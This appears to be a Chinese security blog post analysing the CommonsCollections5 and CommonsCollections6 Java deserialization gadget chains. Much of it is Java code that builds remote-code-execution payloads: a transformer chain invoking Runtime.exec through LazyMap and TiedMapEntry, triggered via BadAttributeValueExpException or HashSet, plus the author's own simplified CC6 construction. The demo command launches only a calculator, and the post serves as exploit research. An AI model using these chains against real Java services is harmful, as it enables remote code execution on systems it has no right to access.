沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Java反序列化之CC5与CC6

0x00 前言


这两个Gadget思路都差不多,所以一起写了。而且有了之前的基础,分析完这两个链甚至不要40分钟,所以今天就在Python课上摸鱼,写完了Demo

本篇包含以下元素:

  • CC5-Gadget的分析
  • CC6-Gadget的分析
  • CC6-Gadget的改进(改进了原Gadget中key赋值的方式,变得超级简洁易懂👍)

0x01 CC5思路


LazyMapChain

CC5的前半部分采用CC1中的LazyMapChain(回顾: Java反序列化之CC1其二),代码如下:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
                           new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
                           new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] {String.class },
                           new Object[] {"calc.exe"})
};
//create chain
Transformer transformerChain = new ChainedTransformer(transformers);
//LazyMap
HashMap hashMap = new HashMap();
LazyMap lazyM = (LazyMap) LazyMap.decorate(hashMap, transformerChain);
//poc
lazyM.get("foo");

这时候只需要调用了LazyMap的get方法,并传入任意参即可实现RCE。CC1中是利用的AnnotationInvocationHandler,而在CC5中是利用的TiedMapEntry类。

TiedMapEntry

在其getValue函数中,调用了map.get(key):

public Object getValue() {
    return map.get(key);
}

而这里的map在构造函数中可控:

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

因此,当我们给TiedMapEntry的map赋值为上面构造的LazyMap时,调用TiedMapEntry#getValue就会触发RCE。尝试构造:

LazyMap lzMap = (LazyMap) MakeLzMap.makeLzMap();
//make tiedMap
TiedMapEntry tiedMap = new TiedMapEntry(lzMap,"foobar");

另外,在TiedMapEntry的其他函数中也用到了getValue函数,这也就扩大了我们的可利用面,比如下面的TiedMapEntry#toString函数:

public String toString() {
    return getKey() + "=" + getValue();
}

BadAttributeValueExpException

在BadAttributeValueExpException的readObject函数中,会调用其val成员的toString方法:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
               || valObj instanceof Long
               || valObj instanceof Integer
               || valObj instanceof Float
               || valObj instanceof Double
               || valObj instanceof Byte
               || valObj instanceof Short
               || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }

所以如果我们将BadAttributeValueExpException的val成员利用反射(构造函数中貌似不可控)赋值成为上文的TiedMapEntry链,当在反序列时就会触发RCE。尝试构造Payload如下:

TiedMapEntry tiedMap = (TiedMapEntry) MakeTiedMap.makeTiedMap();
BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
//set val for badAttr
Class clz = badAttr.getClass();
Field field = clz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttr, tiedMap);

至此,CC5-Gadget的分析结束

0x02 CC6思路


TiedMapEntry

CC6中依然是使用的TiedMapEntry,但是不再是利用toString函数去触发getValue,而是利用hashCode方法:

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

作为hash表的操作之一,在很多类中都存在调用,扩大了可利用的可能。

HashMap

回顾URLDNS一文: Java反序列化之URLDNS,我们知道在其put函数中会调用hash函数:

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

而hash函数会进一步调用hashCode函数:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

所以当一个Map调用了put方法,并传入的key为我们上面的TiedMapEntry链时,就会触发RCE。

HashSet

在HashSet的readObject方法中,就有Map.put的操作:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);//这里
    }
}

传入的key是来E e,这在writeObject中写明了来自其map成员:

for (E e : map.keySet())
    s.writeObject(e);

所以如果我们可以控制其map成员的key,就能够将整个链串起来。

思考与大胆假设

原ysoserial工具中的实现,是先借助反射来获得实例化后的HashSet中的map成员,再获取map中table中的key,最后将key修改为TiedMapEntry,代码如下:

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
f = HashSet.class.getDeclaredField("map");
f = HashSet.class.getDeclaredField("backingMap");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
f2 = HashMap.class.getDeclaredField("table");
f2 = HashMap.class.getDeclaredField("elementData");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
    node = array[1];
}
Field keyField = null;
keyField = node.getClass().getDeclaredField("key");
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);

之所以这么做,是由于Map这种数据类型的key就是这么一层层存储的,所以用反射的方式就需要这么复杂的操作。但是熟悉HashMap操作的同学肯定知道,Map可以用put来添加键值对。而HashSet类中的add方法,就其实是封装了put:

public boolean add(E e) {
    return map.put(e, PRESENT)==null;
}

所以直接用HashSet#add其实就直接能把key传进去,但为什么ysoserial不这么做呢?其实他做了,只不过他只用来占位:map.add("foo")。为什么呢?别忘了,当我们直接给put传入TiedMapEntry链时,就会直接触发RCE,所以在构造Payload时就会造成RCE,这样虽然没啥大影响但是不太完美,所以作者大概基于此并没有直接使用add。

但其实经过懒狗的思考,似乎好像还是可以利用add方便的去添加key,而且还不在构造时触发。思路如下:

  1. 首先构造一个没有传入LazyMap链的TiedMapEntry链
  2. 然后将其用HashSet#add加入
  3. 最后再用反射调用修改TiedMapEntry链的Map,令其为LazyMap

这样似乎真的可行,因为在你add时,并没有LazyMap,所以不会进入到触发点。但是这样真的行吗?先传入TiedMapEntry链,然后你后来再用反射修改这条链Map值,可以做到让已经传入HashSet中的对象做到同步修改吗?

由于懒狗的Java基础很弱以及对Java反射的了解很浅显,所以也说不准,但是我们知道如果传入的是引用之类的,似乎是可行的。不过与其想半天,为什么不直接试试呢?

小心求证

第一步,构造一个没有传入LazyMap链的TiedMapEntry链

TiedMapEntry tiedMap = new TiedMapEntry(new HashMap(),"foobar");

第二步,使用HashSet#add将其传入

HashSet hashSet = new HashSet();
hashSet.add(tiedMap);

第三步,修改已经构造好的TiedMapEntry链的Map值为LazyMap链

//创建LazyMap链
LazyMap lzMap = (LazyMap) MakeLzMap.makeLzMap();
Field field= tiedMap.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMap, lzMap);

第四步,把此HashSet进行序列化和反序列化。

结果很喜人,看到了我们熟悉的计算器,虽然不知道发生了什么,但是我猜测是引用类型传参之类的。(望熟悉Java和反射机制的大佬赐教一下)

0x03 参考


Ysoserial Commons-Collections 利用链分析 (seebug.org)